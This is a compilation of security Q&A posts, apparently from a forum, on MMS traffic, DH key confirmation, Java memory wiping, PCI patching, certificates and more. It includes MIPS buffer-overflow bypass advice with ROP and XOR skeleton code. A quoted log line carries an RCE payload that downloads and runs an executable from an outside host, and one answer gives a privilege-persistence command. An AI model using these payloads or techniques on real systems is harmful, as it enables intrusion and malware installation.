I don't believe you (or anyone else) is targeted by the US Department of Defense. More plausibly, AT&T screwed up something on their server.

A very quick research on the number 1111301000 returns this article which seemingly sent by AT&T.

Regarding the number 6.216.198.5, it's a coincidence that a substring of AT&T's IP address pointed to the US Department of Defense. Searching that exact number returned a bug report "cannot receive MMS using AT+T" on Ubuntu's launchpad which contained

00000000 01 06 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 76 |..'application/v|
00000010 6e 64 2e 77 61 70 2e 6d 6d 73 2d 6d 65 73 73 61 |nd.wap.mms-messa|
00000020 67 65 00 af 84 8d 01 81 b4 84 8c 82 98 41 36 30 |ge...........A60|
00000030 35 32 38 31 33 32 39 31 31 35 30 30 30 31 38 30 |5281329115000180|
00000040 30 30 30 35 30 30 30 30 00 8d 90 89 18 80 2b 31 |00050000......+1|
00000050 36 31 37 36 39 39 30 36 35 35 2f 54 59 50 45 3d |6176990655/TYPE=|
00000060 50 4c 4d 4e 00 96 02 ea 00 8a 80 8e 02 80 00 88 |PLMN............|
00000070 05 81 03 05 46 00 83 68 74 74 70 3a 2f 2f 31 36 |....F..http://16|
00000080 36 2e 32 31 36 2e 31 39 38 2e 35 3a 38 30 30 38 |6.216.198.5:8008|
00000090 2f 30 35 32 38 31 33 32 39 31 31 35 30 30 30 31 |/052813291150001|

Note the last 2 lines: it contained a similar pattern 6.216.198.5:8008/<long string of number>. However, the line before that contained http://16, which means it's actually pointing to http://166.216.198.5. That IP address is actually owned by AT&T Wireless.


buffer overflow in MIPS - jump to address 0x0040xxxx I'm trying to exploit a buffer overflow vulnerability in MIPS architecture. ASLR is enable, but the binary compiled without PIE (hence loaded always to 0x00400000). However, the vulnerable code uses strcpy, so I cannot overwrite the $ra register with an address that contains null bytes (0x0040xxxx).

Any ideas how to overcome this issue?

Thanks

This is a classic badchars problem. So your goal is to make your final
exploit to NOT contain any of the bad characters. Encoding can help you achieve that.
A possible obvious solution to exploit this, is combining
ROP + encoding. For example you can create an encode() function, that uses e.g. XOR,
like the one below:

def encode(s, key):
    return ''.join(chr(ord(i)^key) for i in s)

and then search for possible gadgets that help you create the
decoding function (e.g. search for xor gadgets):

def decode(address, key):
    """
    create a ROP-chain here
    that XORs the XORed string
    """
    # create the ROP chain...
    return chain

and then in the main body of your exploit
use something like this:

# ...skip...
# write_into_mem() is a just function that allows you to write into memory...
# write string (encoded/xored) into memory so you can avoid bad characters...
payload += write_into_mem(address,   encode('string_with_bad_chars', key))
for i in range(len('string_with_bad_chars')):
    payload += decode((address + i), key)

In this way you will avoid bad characters.

Note: The above code-snippets are in python. Use whatever language you prefer!!!


Why send HMAC in reverse direction when performing verified DH with downgrade protection? The purpose of this procedure is that Alice and Bob perform a verified Diffie-Hellman key exchange. It goes like this:

Alice sends her supported signature schemes to Bob. It just says "supported schemes". I suppose signature schemes are meant.
Bob selects a signature scheme.
Alice chooses a and sends A = g^a mod p and Sig_Alice(A) to Bob.
Bob chooses b and sends B = g^b mod p and Sig_Bob(B) to Alice.
They calculate K = g^(a*b) as usual.
Alice sends the HMAC of all messages up to this point to Bob. I suppose this HMAC is sent over the encrypted channel because K has already been calculated. I have no idea whether only the messages Alice sent are meant or whether the ones she received are included, too.
Bob sends the HMAC of all messages up to this point to Alice. Again, probably over the encrypted channel.

I understand why Alice sends the HMAC of her messages to Bob: To make sure Bob actually received all the signature schemes she supports. It might be that there is a man-in-the-middle who removed all the secure signature schemes so Bob had to choose a non-secure one where the MitM can quickly fake their respective signatures so he can establish an encrypted channel between him and Alice and another one between him and Bob.

But what is the purpose of Bob sending the HMAC over his messages to Alice? What can Alice ever learn from that HMAC? If there is a MitM who faked a weak choice by Bob towards Alice, he has to already have been able to fully impersonate Bob in 4., so he knows K and therefore sending the HMAC over the encrypted channel never poses any difficulty to the MitM.

Am I overlooking something? Do you know the answers to the questions I uttered in 6.? Do 6. and 7. happen an parallel? It doesn't look like it in the graphic provided in the lecture where for 1., 3., and 6. an arrow goes from Alice to Bob and for 2., 4., and 7., an arrow goes from Bob to Alice. I don't understand why 4. and 3. aren't swapped. Why would Bob wait for an answer from Alice?

Regarding your remark at 1.: Schemes might also mean different DH schemes, for example different groups or generators. This includes different prime fields or even elliptic curves.
As for your main question: Until Bob sends the message in 7. Alice does not know that Bob knows the shared secret. An adversary might have just replayed a previous B from Bob including the signature. Alice will calculate K and think that she is talking to Bob but he was not involved at all. This is often overlooked because we usually assume that the K will be used after the key agreement and that it will somehow be obvious if the other party does not have it. The general idea here is to make sure that both sides have seen exactly the same conversation. See here.
Regarding your question in 6.: If Alice sends a MAC over all the messages some nonce needs to be added otherwise Bob can just return the same message in 7. so they probably mean something like "all received" or "all sent".
As people pointed out in the comments this is nonsense as long as Bob has to send a MAC over all messages including the MAC he received from Alice in 6.. (Thanks!)
I don't see an obvious reason not to swap 3. and 4. either.


how is strength of password calculated from standard keyboard patterns? In password strength calculator is there an algorithm to determine the keyboard pattern? there could be thousands if not millions of patterns that could be generated with a standard qwerty keyboard. How does a password strength calculator find the strength of password from keyboard pattern?

There are many algorithms and libraries to implement this. Each has its strengths and weaknesses. zxcvbn is one of the more commonly referenced ones. It is reasonably well documented and open source. The best ones use a combination of algorithms and dictionaries of common passwords.


How to tell if Firefox Home (iOS) is using Data Protection API? The source code is here: http://mxr.mozilla.org/services-central/source/fx-home/ What should I be looking/search for? Or even how to extract /ffhomeDB.sq3 and see what it contains.

Look for uses of the file protection API, for example the file protection classes and constants.

See for example http://developer.apple.com/library/ios/#documentation/Cocoa/Reference/Foundation/Classes/NSFileManager_Class/Reference/Reference.html%23//apple_ref/c/data/NSFileProtectionKey

If it uses keychains it should also be using the keychain protection options.

Generally speaking you'd expect telltale constants and methods such as the following (not exhaustive) to appear in the code if it is aware of the new data protection APIs:

NSDataWritingFileProtectionNone
NSFileProtectionKey
NSFileProtectionComplete
NSFileProtectionNone

And it should be responding to lock / unlock events, i.e. should implement:

-applicationProtectedDataDidBecomeAvailable:
-applicationProtectedDataWillBecomeUnavailable:


If my antivirus caught suspicious .exe files transferring from a mac to my PC, am I safe from them? I've been trying to help my mother in law to backup / upgrade her old Mac. In order to use online backup solutions, I've had to transfer her files to my Windows PC. As files were transferring, I saw a couple suspect .exe's caught by my bitdefender antivirus (thankfully!). They were "lcodecplus.exe"  and "update.exe" My question is:

As this Mac had these files on it, is it possible that the malicious code ran on the mac, and now my Windows PC is infected from the transfer? Or should I stop being paranoid, considering the antivirus caught them?

From my research, it sounds like it's unlikely a virus for one platform to be executed on another. I'm hoping that as bitdefender caught them on the way in, I'm at no more risk than I have already been, but should I be concerned?

No, .exe files are Windows specific (DOS, OpenVMS, Microsoft Windows, Symbian or OS/2) and do not run on MacOS, as the platform is not compatible with these.

When you do not execute them on your Windows PC you are safe, nothing happens until you manually execute them.

Antivirus solutions often work with hashes. An antivirus solution for MacOS can also often find malware and viruses for Windows as they share some hashes in their database.

Copying files does not execute them.


How SearX private instances protects users privacy? SearX is a search engine recommended by privacytools.io. I liked the idea of a fully open-sourced and user controlled search engine and I also installed a docker image with SearX in my local machine which works great. Eventhough I installed SearX I dont fully understand how it protects users privacy in a private instance. I know it is a meta-search engine which aggregates result from popular search engines.

I am using google,bing and yahoo as the default search engine in my local SearX. When we search for something in our local SearX it should send our IP address and keywords to these three search engines simultaneously and then SearX fetches the result and show us in our local SearX. Now these three have all our keyword search details and ip addresses comparing to if I sticked only to one search engine. How SearX private instances protects users privacy?

Well, SearX is great, if used by more than one user. At least your family, possibly friends or even everyone in your area. The big search engines would not be able to say who is searching for what, only the private instance would. However, if you want additional protection, try using a VPN/Tor/proxy to hide the IP of your private instance. Without some IP hiding and many users using it, SearX does not actually increase privacy, but privacy is not really what it was mainly designed for. It tries to circumvent censorship by using multiple search engines. It decreases the likelihood someone can control what you are able to see. Imagine for example google not showing its privacy issues and data breaches in its results.


Oracle Internet Directory (OID) hardening What are best practices, recommendations, required reading for securing/hardening an Oracle internet directory?

note: OID is compatible with LDAP version 3.


Concerning GET request in logs I have a Django application running on a Digital Ocean Ubuntu server. I am using NGINX and Daphne to serve the application because I am using Django Channels.
My websockets keep crashing, and I noticed in the logs when the crash occurs, this message:
127.0.0.1:46138 - - [11/May/2021:14:03:33] "GET /public/index.php?s=index/think\ap p/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20 /c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hog noob.se/download.exe','%SystemRoot%/Temp/nagagewrehutkiz561.exe');start%20%SystemR oot%/Temp/nagagewrehutkiz561.exe" 404 2111

It looks very suspicious to me, but my knowledge of security is minimal. Can anyone help me determine if this is something I should be concerned about?
The fact that it is a GET request that I did not submit (nobody else is using this server currently)
But perhaps it is something automatically submitted by my browser?

Can anyone help me determine if this is something I should be concerned about?

Someone is trying to exploit a vulnerability on your server. References to cmd.exe, System.Net.WebClient and %SystemRoot% indicates this exploit is intended to a Windows server.
It shows your server returning HTTP 404, with 2111 bytes on the response (those last 2 values on your log). That means your server does not have the vulnerable /public/index.php file, so no damage was done on this case.
Your websocket probably is dying because you aren't properly processing unexpected input, and this is a MASSIVE SECURITY ISSUE (bold capitals because I cannot use blinking red text font). Failing to detect malformed input and reacting to that is the source of countless exploits.
If you don't know much about security, you can be sure that your server will be hacked sooner or later. Take your server offline, install a Linux VM on your desktop, and train on your VM first. Read articles on Linux hardening, on securing Nginx and Django, on secure coding. Your server can be a threat to anyone on the internet as soon as someone hacks it and turns it into a hacking platform to launch attacks.

nobody else is using this server currently

As soon as your server is reachable from the internet, that statement is not true anymore.


How can I punish a hacker? I am a small business owner. My website was recently hacked, although no damage was done; non-sensitive data was stolen and some backdoor shells were uploaded. Since then, I have deleted the shells, fixed the vulnerability and blocked the IP address of the hacker.

Can I do something to punish the hacker since I have the IP address? Like can I get them in jail or something?

  This question was featured as an Information Security Question of the Week.
  Read the Feb 05, 2016 blog entry for more details or submit your own Question of the Week.

You don't punish the hacker. The law does. Just report whatever pieces of information you have to the police and let them handle it.

However, it is very unlikely that the attacker will be caught. The IP address you posses most likely belongs to another system that the attacker has compromised and is using as a proxy. Just treat it as a lesson learnt and move on.


Are there any practical attacks on random number generators? I'm creating an internal security course for developers. To make it more interesting, I'm trying to reinforce each chapter with some real-world attacks but stumbled upon insecure random usage section.

So, let's assume that out-of-the-box RNG (any popular backend language is okay) is used in an insecure manner (for example, for generating passwords functionality). Is there any step-by-step algorithm or automatic tool that can calculate RNG state and previous/future values?

Insecure use PRNG:
An extremely naive demonstration of this (if you want to do a lab) is to use a seed derived from the current time to generate a Pseudo Random password for an open source password manager (you could add in some other bit of knowable information if you want to make it look more random).  If the students notice this fact in the source they could predict passwords.  Of course the source isn't actually needed to determine this information ( it would just speed up the lab)

for well known real world examples check out https://en.wikipedia.org/wiki/Random_number_generator_attack


How to store/encrypt fingerprint? Storing password is a no brainer : use a password hasher. But..

How do you proceed to store fingerprints securely on your server? Meaning that even if your server and all it's data is stolen, someone cannot retrieve the fingerprints.

From what I understand, the picture of your fingerprint that the scanner get is always different from one time to another and to verify that you are the owner, they simply verify that the fingerprint match with a good enough percentage. So, it's not possible to do a direct password hash of the image the scanner give you and compare it with the one in the database.

Is there some kind of pre-processing to extract some data that "never" change even if the whole scan change a little bit each time you scan your finger?

Related link : http://www.extremetech.com/mobile/211985-htc-caught-storing-fingerprint-data-in-unencrypted-plain-text

In fact, there is some research addressing the problem. We should acknowledge the fact storing fingerprint info at the client side (as suggested by others) might not be a viable solution in specific cases. It might be ok for a cell phone, but insufficient for an enterprise or distributed service.

There are (non cryptographic) hash functions which can create the same hash for similar input. It is called Locality-Sensitive Hash (LSH) and extensively used in search algorithms. This functions can "reduce the differences occurring between similar data with high probability, whereas distant data should remain significantly remote." Then you may try to crypto-hash the LSH for a more error tolerant result. You may combine this with Bloom filter as described in this 2009's article which I warmly suggest to read if you are interested in the topic. Unfortunately I'm not aware of any existing implementation of the method described there.

In summary, the answer is that you can do this with fault-tolerant encryption methods (like above), but if you are in short of time you might be better off with a separated, dedicated secure provider for fingerprint-UID conversion (with a machine gunner sitting on it).


Mobile OTP - Secure? I came across Mobile-OTP, "a de facto standard for strong mobile authentication" (http://motp.sourceforge.net). The developers claim that it is very secure etc.

Reading through the implementation, I noticed that the scheme requires the user's PIN to be stored in reversible form on the server side. (the sourceforge implementation stores them plain text), which I think is not a very desirable feature.

My questions are

Is Mobile-OTP a well known scheme?
Is it considered secure?
What would be the reason to choose it?
(why choose it over SSL for example?)

First time I've heard about this, but it doesn't mean it's not well-known.

Sounds a little similar to OATH HOTP / TOTP. OATH is based on RFC 4226 and seems at least at a first glance more robust. For example it uses HMAC instead of simple hash (motp uses MD5). OATH was also adopted by products like Yubikey and recently Google Authenticator.

Based on these very shallow facts, I'd say I would personally prefer OATH over this seemingly-bespoke solution. It would require a deeper analysis to really flash out the advantages/disadvantages of those schemes.

I hope this answers your first two questions.

As for the reasons for choosing it - One Time Password (OTP) not only protects against eavesdropping over the communication line. So whilst SSL will ensure the password  (or one-time-password) is transported securely, OTP ensures that even if the password is lost/stolen, it cannot be re-used. It's unique for every session. So even if someone looked over your shoulder when you typed your password, since it's a one-time password, they can't use it again.

There are some other advantages to OTP schemes, in this case it acts as a 2nd factor authentication. Not only what you know, but also what you have. In those mobile-based OTP schemes, it's usually some secret key that is stored on your phone and is used to generate the password. So an attacker will not only need your password, but also your phone (or the key on your phone), in order to authenticate as you.

Most authentication schemes are complementary to SSL and wouldn't replace it. Even if the authentication process is secure, there's usually other data being exchanged, or some kind of session established. For example, consider logging into your bank account, and then viewing transactions or transferring funds. Protecting the authentication alone (e.g. via OTP) is not enough. Same goes to just protecting the connection (using SSL without authentication). To protect it better you'd usually combine SSL with some form of user authentication.

Regarding your concern about storing PIN/key in reversible form rather than using a secure-hash. I would say this is probably an acceptable trade-off considering what you gain. OTP gives you great protection against cases where the static password might be leaked (including phishing, over-the-shoulder, people writing down their passwords, social engineering etc). Even if one OTP password is leaked, it limits its usefulness -- it can only be used once and within a limited timeframe typically. The downside is that you have to make sure your authentication server (and to some extent user devices) are well-protected. If your server is your weak-spot, then, I'm not sure secure hashes alone are going to be enough to protect you anyway. Plus, combining it with SSL and a standard (hashed) password could really boost your protection even further.


MS Exchange email privacy and Admins Using the Exchange control panel feature/tool of MS Exchange 2010, you can search all the emails belonging to any domain user and read them. Allowing an Exchange administrator to read the emails of any user in the Exchange environment is OK?

This is a built-in feature of MS Exchange 2010. Can a security admin disable this feature?

I know you can do that in 2003 and prior also. But it will be rather hard to disable that capability, because Administrator is just that..

it has been that way since forever. But not just exchange, postfix does the same thing. Before this, email was in plain text and security came as an after thought.
A conversation usually starts up unencrypted and a key exchange happens of some sort as a result of it, and the server is there to handle just that, store conversations.
Sysadmins usually secure channels to and from server, but not the messages themselves. Why should they? If I can encrypt your messages, I also can decrypt them, and if I secure my server for unauthorized access, encrypting the message store begs for more work when a problem occurs.
On servers, usually encryption is done on the whole medium rather than on a file by file manner because it breaks our tools. Exchange is no different.
It makes for easier compliance with LEO and the VPs of the company when you get canned.
Recovery in the odd case the server goes wack (cough windows updates.. cough) is also easier.
It makes spam filtering work.. and also advertisments.
It makes it possible to monitor mailboxes or assign my account to take over your mail as you when you are gone.

All in all if you want privacy, agree with end points on encryption ( such as gpg ) and encrypt the content before sending it out, because Exchange is an enterprise tool and protecting the user's confidentiality wasn't on their mindset when they built it. You're at the discretion of your sysadmins.


Is it more secure to overwrite the value char[] in a String I am talking about the Java implementation. Is it more secure to use reflection in order to access the internal Field value of type char[] inside a java.lang.String instance and overwrite the containing values like the following example?

As an example why someone could use it: Someone enters a Password and after the Password is used (maybe Authorization) this exact String will be of no use after that, except to read out of the Memory, he could overwrite it and the Password as clear readable String will be out of the memory.

Example Implementation:

SecureRandom random = SecureRandom.getInstanceStrong();
String source = "1234SecureThingy"

Field charField = String.class.getDeclaredField("value");
charField.setAccessible(true);

char[] noise = new char[source.length()];
for (int i = 0; i < source.length(); i++) {
    noise[i] = (char) random.nextInt(Character.MAX_VALUE + 1);
}

charField.set(source, noise);

TL;DR: Is it more secure to Remove the value of a String with Reflection?

By fiddling with the internal contents of String instances, you incur the risk of severely breaking your application.

The first reason is that String instances are supposed to be immutable, which means that instances may be reused; when you modify "your" string you may actually modify other strings that are conceptually distinct but happen to have the same contents. This kind of reuse can also happen internally, if String instances really refer an underlying char[] with a couple of index to delimit a chunk within that array. See this page for some more details. Generally speaking, code that uses String instances relies on their immutability, and breaking that invariant can lead to far-reaching disagreeable consequences.

A second reason is that the internal contents of String instances are not documented and may change. In fact, they already did so several times. If we consider only the Sun/Oracle JVM (already a bold move, since there are other JVM out there, e.g the one from IBM), then Java 6 versions (from update 21 onwards) can use compressed strings, meaning that the char[] is automatically converted to a byte[] if the characters happen to all be in the 0..255 range (i.e. all characters are really part of Latin-1). The "compressed strings" were designed to get top marks in some benchmarks, but were later on dropped (Java 7 does not have them). However, this is sufficient to show that the internal storage format may change without prior notice. And they did it again in Java 7 update 6.

Thus, using an alternate JVM, or simply updating your JVM to a later version (as is highly recommended when there are security holes to fix), can totally break your code, possibly silently, meaning that you get data corruption instead of a clean exception that merely kills your application. This is undesirable, so don't do it. You cannot reliably muck with how String instances are internally organized. As a side note, accessing private fields is also not a really viable option for Java applets (you cannot do it with an unsigned applet, for instance).

A third reason, and perhaps the most compelling of the three, is that overwriting sensitive values in memory does not (reliably) work in Java. To know why, you have to understand how garbage collection algorithms work (this article is a very nice introduction to the basics). From the programmer's point of view, things are simple: an object is allocated, sits there in RAM, and when the application code ceases to reference it, the GC reclaims the memory. Internally, though, things may differ. In particular, most efficient GC algorithms tend to move objects in memory, i.e. really copy them from place to place. This is invisible to your code, because the GC adjusts references: since Java is strongly typed, you cannot notice that the internal representation of a pointer changed (you cannot cast a reference to an integer, for instance). This kind of copying allows for faster GC operation and better locality (with regards to caches). However, it implies that several copies of your precious data may survive elsewhere in RAM, completely out of your reach. Even if you could reliably overwrite your String contents, this would only impact the current storage area for that instance, leaving ghost copies of it untouched.

(In the Sun/Oracle JVM, GC that internally copy objects appeared around Java 1.3. This can be seen in their design for library code; old code used char[] for passwords, so as to prevent automatic reuse as may happen with String, and promote manual overwriting; newer code uses String because the library designers understood that this overwriting would not be reliable anyway.)

Does this mean that Java is inherently insecure ? No, because the importance of overwriting sensitive data in memory is greatly exaggerated. The idea that Thou Shallt Overwrite Passwords And Keys is one of these inherited dogmas: something that was relevant in a specific case long ago, but is now applied and enforced by lots of people who receive it as Divine Wisdom and fail to understand what it is really about. Overwriting memory is a nice thing to do for application code that runs on compromised systems, when attackers are not very competent: the scenario is an average home owner with a PC full of malware. The malware has full control of the machine, but, being a simple automated piece of code, it does not really exploit that control; the malware simply scans the RAM for sequences of characters that look like, say, credit card information. So we are talking of doomed client systems that manage to survive only because the attackers prefer it that way, and the data scavenging may be (potentially) mitigated with prompt overwriting of sensitive data only because the human attackers that control the malware simply don't have time to do a proper job of extracting the interesting bits, and instead have to rely on the dumbest of brutal full-memory scans.

None of this applies to a server application, or to client code that handles secrets with an actual non-negligible value. If a malicious attacker is in position to scan the RAM for sensitive data, and that data is worth 1 or 2 minutes of explicit attention from the human attacker, then no amount of overwriting will save you. Thus, in many contexts where security matters, overwriting of passwords and keys is just wasted effort, that gives a feeling of security, but does not actually improves things (though it may be convenient to awe auditors).

Compounding the issue is the fact that when your sensitive data appears in your Java code, it has already gone through various layers that are out of your reach. For instance, if you read the password from a file, then copies of it are retained in RAM used as cache by the kernel, and possibly one or two bounce buffers maintained by Java as intermediaries between the native world and the abstraction that Java offers. If the password was received from network over SSL, then the password again went through the internal buffering of the SSL library, that you cannot control. If we are talking about a client application and the password was merely typed by the user, then any malware that can scan memory also runs a keylogger and got the password even before it reached your code.

Therefore, as a summary: no, using reflection to overwrite your password in memory does NOT really improve security. It makes your code much more liable to break (even upon a simple minor update of the JVM), but offers no actual tangible gain in security. So don't do it.

Note: we talked about Java here, but all of the above equally applies to most other programming languages and frameworks, including .NET (C#), PHP, Ruby, Node.js, Python, Go... If you really want to keep track of sensitive data, then you have to use a language that is close enough to the bare metal (assembly, C, Forth) and follow it throughout the system, including base libraries, the kernel, and the device drivers. If you simply concentrate on the application code, then you are guaranteed to miss the point.


Are in-store computers a security risk? In many "big box" stores like Walmart, Home Depot, etc. I see many store computers just sitting empty. A black hat could install a payload on one of these computers, and potentially wreak havoc on the company. Why do stores have these out in the open, when they seem so insecure?

This is a great question and one that these organizations have probably put varying amount of thought into. I can think of a few different scenarios regarding systems being out in the open like that. I'll outline them and my thoughts.

It's the most expedient thing to do - Placing these computers where they are is efficient for their business processes. They didn't consider security in any way, shape or form.
These systems are basically considered terminals These systems may be somewhat locked down. They may replace explorer.exe with some home-grown app or just run a few programs on the system with a limited desktop profile. This is a little better but still not where it needs to be. There are plenty of ways to compromise a system when you are physically at it.
They have good network segmentation - These systems have little or no ability to access the rest of the network. They are logically or physically separate from other systems, and have little or no ability to access the internet.
They have a complete workstation Security Program - They have network segmentation, but additionally they've really considered this as an attack vector. These workstations are hardened, locked-down, have full disk encryption, resident agents to detect malware, and they are limited in their ability to access the rest of the network or the internet. This is more work but of course improves the security posture of your network significantly and greatly reduces the risk of exposing these systems physically.


What is susceptible to Kon Boot hack tool? I just learned about Kon Boot (from this YouTube video) and am wondering, how is such a hack tool guarded against? In the video the presenter claimed he had full disk encryption but was still able to by pass the password from booting to the USB stick and then had access to the files.

Would such a tool be able to hack a virtual machine?

how is such a hack tool guarded against?

Prevent your computer to boot from an external media by setting appropriate options at the BIOS level and protecting this configuration using a BIOS password,
Use Trusted Boot where TPM chip is available (most professional laptops have one, this Dell Latitude has one),
Use full disk encryption, this recommendation being the most important one.

As a side note, Kon Boot documentation states that it does not work on system where the BIOS available memory is too small. Whether this limitation can help to guard against this attack, I'm not sure...

Regarding the video the author claims to have already enabled the two latter recommendations using Dell's Control Point Security Manager, but it seems obviously untrue (encrypted disks are officially unsupported by Kon Boot, see here, here and there), either because the video author mistakenly did not setup these features correctly, or for other reasons. As a side note, he promotes a commercial encryption product in his video description, so...

  Would such a tool be able to hack a virtual machine?

Yes, if someone get administrative access to the virtual machine is able to boot it from an external media it will work the same as way with a physical PC (I have not tested it myself, but encountered blog posts where people actually used VM to safely test this tool and bypassed their password successfully).


Monitoring for security threats I host and maintain several websites. The users pay to have their sites maintained and secured. However, with the amount of web applications like joolma, wordpress, ect... and their plugins, I need a way to monitor and stay on top of exploits and fixes as they come out.

Now one idea is to follow twitter and stream the alerts on a screen. Are there other ideas? I don't believe every place as a mailing list that alerts you of security issues.

EDIT: Also started to watch Twitter feeds but they seem very limited.

I'm not entirely sure I understand the question, but it appears you're looking for something like secunia, possibly for a more restricted set of software?   I believe that many of the big security firms also sell a client plug in that will detect misconfigurations; running that plug-in on your site will detect CWE/misconfigurations.

And you could always check with Tenable/nCircle; their security assessment tools can detect problems. It is a very competitive market and both of those companies devote a lot of $$ to research to ensure that they're aware of and can detect the latest CVE/CWE/etc.

NIST provides CVE and CWE information, which may also be of use.


How useful is PDF signing in real world usage? Background senario: So we had a problem where our system (Alice's shiny widgets) generated a PDF with a quote amount for 10 widgets. Someone (Eve) took the PDF, altered it to increase the price by 20%, they then presented the PDF as an expense claim to their boss; hoping to pocket the 20% difference! The boss (Bob) knew what the  normal price should be, and accused us of price gouging. Very imbarissing for CEO Alice. Fortunately we has a backup copy of the original PDF. Eve 'was let go'...

CEO Alice said they didn't want that to happen again. So CTO Charlie said: 'Fix it with signed PDFs'

My question is, will that help?

Is there anything forcing Bob to check if the PDF is signed?

What stops Eve from copying the content of the signed PDF, altering it herself, and then signing herself (perhaps with cert named 'Alice's shiny widgetz'?

If Alice signs the PDF before sending to Bob, it will look like this:

source

If Eve changes anything on the PDF, when Bob opens it, it will show something like this:

source

The signature contains the certificate of the issuer, and if anyone but Alice signs the document in her place, the signature will not be valid, and the PDF reader will show the invalid signature message. What Eve could do is to remove the signature and change the PDF, akin to SSL-Strip on a PDF.

How Alice could make sure the signature isn't stripped? She could call Bob and say from now on, every single document will be signed, without exception. And put that message on her website. And on every email she sends. When Alice earns the reputation of sending only secure and signed emails and documents, few people will accept an unsigned counterfeit document.


Are Linux vendor-supplied security updates enough for PCI Compliance? I have several systems that require PCI compliance, all of them are running CentOS 6.4 with all security updates applied daily. However, PCI compliance scanning will often reject detected versions of external services (Apache, PHP, MySQL) that it deems to be insecure. The measurement of security is simply the version number of the software package--if that information is reported to the scanner vs. having all version information turned off to the outside world by defining a less verbose configuration.

I have a brand new CentOS 6.4 box that I am securing and it has failed it's initial PCI scan (no surprise there). But the first issue reported says: "PHP 5.3 < 5.3.7 Multiple Vulnerabilities." The server currently has PHP 5.3.3, as supplied by CentOS. There are other failing packages as well, but I'll focus on PHP for this question.

Some points to consider

It's generally understood (I think) that Linux vendors claiming stability as a feature do not rush out every new version of a package released upstream, with an exception sometimes for web browsers/plugins.
Vendors do release security updates, but not for every source release. (Example: PHP 5.3.26 is the newest in the 5.3 releases, and it claims to fix CVE-2013-2110.)
Vendor packages sometimes leave the major.minor version number the same, but bump the release number with a security patch backported into their package for compatibility reasons. Therefore, it's possible a security issue has been fixed even if the version number doesn't suggest that. (PCI: This requires time consuming manual documentation to get a compliance override.)
I have seen arguments in the past that vendor packages can be more secure, on the basis that they can include non-standard patches to the source. That is rarely documented in a way that can be easily reviewed, though.
We roll our own packages to get newer releases of external services, such as PHP, updated quickly. It provides obscure bug fixes, too, which vendors are probably less concerned about.

To achieve PCI compliance, my experience shows that rolling custom packages is the only way to pass. We have used Security Metrics, Trust Wave, and Control Scan with various results. Does that mean vendor-supplied packages, including their security updates, are not enough because they lag too far behind the upstream releases?

Note: I am asking this question because I have seen plenty of "security advice" over time that recommends "Run yum upgrade daily to get your security updates," but a PCI scanner generally disagrees that enough effort has been made regarding the security of the installed versions.

PCI DSS requires that "the latest vendor-supplied security patches installed". (PCI 6.1 pg. 38). This means that if PHP releases a security patch, then you need to apply it, even if your distro doesn't have it in their repo yet.

Your rule-of-thumb is to look to the product version number and what the vendor (PHP, Apache, etc) has released, security-wise. Scanners and distro repos can help, but are not what needs to be checked or audited. Know what you have installed, and check for security updates regularly. Double-check your scanner results on a regular basis to account for false negatives, and confirm the findings to account for false positives.


Maintain User Privileges After Shutdown in Windows XP? Is it possible, in Windows XP, to maintain user privileges of a command shell after a reboot?

For example, I'm running as a non-privileged account LocalMachine\Pete, but have a shell running as LocalMachine\System. I want to maintain the privileges of that system shell after a reboot. In Linux this could be accomplished by creating a file that runs under that user. Is there a Windows equivalent?

From the priv shell:

net localgroup Administrators pete /add

This adds pete to the admin local group, which means he has priv access after boot.

It's not limited to the shell, and would be detected in an audit.

But, as I said, if you got a priv shell in the first place, then rise-repeat?


Does MS14-066 affect CE versions of Windows? I'm aware of the impact of MS14-066 to Windows servers/workstations, and have managed the patching our of desktop networks.

However, I am concerned that our Windows CE systems may also be affected, although I can find no specific mention of this, either way, despite searching MS & Google.

Certainly in Platform Builder, "SChannel(SSL/TLS)" is a checked option in our deployed images, so there is potential for this to affect our builds, but perhaps the slimmed down API makes CE immune?

Is anyone aware of the Compact Editions of Windows being affected by MS14-066, specifically CE6?

potentially, yes. However only if the device ran a vuln service which accepts SSL/TLS certificates would it be a problem, at least at this time.

Schannel ships with all versions of CE, and the Schannel bug (there's actually several MS addressed in MS16-044) dates way back.  For example, the same issue exists in Windows XP, but will remain unpatched.  There's reverse engineering of the patch here http://blog.beyondtrust.com/triggering-ms14-066 , if you get the Windows 2003 patch, diff it against 2003 native, and then compare with Schannel in CE you can confirm yourself.


Understanding certificate security I am reading Computer Networks by Tanenbaum and Weatherall. In chapter 8 they describe secure communication using public key exchange via certificates. They describe a situation where Alice is sending messages to Bob and a man in the middle (Trudy) is trying to intercept Alice's messages. They describe what Trudy can do to try and trick Alice into believing she is communicating with Bob. The conclusion they draw is she cannot.

However there is one situation not covered:

Suppose that Bob has a certificate containing his public key and a hash signed by a Certification Authority. He makes this certificate available to anyone as is common practice

Trudy gets Bob's certificate and modifies it replacing Bobs public key with her own.

Trudy intercepts Alice's request for Bob's page. Trudy sends back a fake page to Alice containing the modified certificate. When Alice get's this fake page she sees that when she  runs the SHA-1 algorithm on the certificate, she will get a hash that agrees with the one she gets when she applies the CA’s public key to the signature block (the signature block has not changed from Bob's original). So Alice encrypts her message to Bob using Trudy's public key (Trudy put this in the certificate when she modified it). Trudy can now decrypt and read the message she intercepts from Alice.

Will the above scenario work?

Hashing the certificate produces a unique fingerprint for the certificates contents, including name, dates, signer, key, everything. If you change any part of the certificate, (which includes replacing the public key with your own) then the stored hash no longer matches the contents.

So, you say you replace the hash as well? Not quite: each certificate is signed, and signed means that the hash is encrypted with the signer's private key. You can't replace the hash without replacing the signature (because the hash is part of the signature), and you can't replace the signature without re-signing the cert, and you can't re-sign the cert unless you have the signer's private key.

So the only party who could actually replace Bob's key with Trudy's is the CA. And the whole point of the PKI is that you trust the CA to not do that. If you can't trust the CA, then the whole system falls apart.

Real World Note
Note that this is precisely the problem with the global SSL PKI we have today. We don't know if we can trust the CAs anymore. Specifically, we don't know if powerful organizations (governments, etc) are pressuring CAs into signing illegetimate certificates. It's very possible that the Chinese military or US NSA has valid, signed certificates for Google, Facebook, or any other organization. This is where certificate pinning comes in to play. And in fact, Chrome and several other browsers by default pin certicates for Google and other popular services, so even a valid certificate isn't accepted unless it's a specific valid certificate, or signed by a specific CA.


How can I prevent all Windows 10 Telemetry? Let's assume I'm connecting to a network, and I need absolutely no data sent to any Microsoft servers at any time. Is there a way to do that? For the sake of argument, assume I'm running Enterprise.

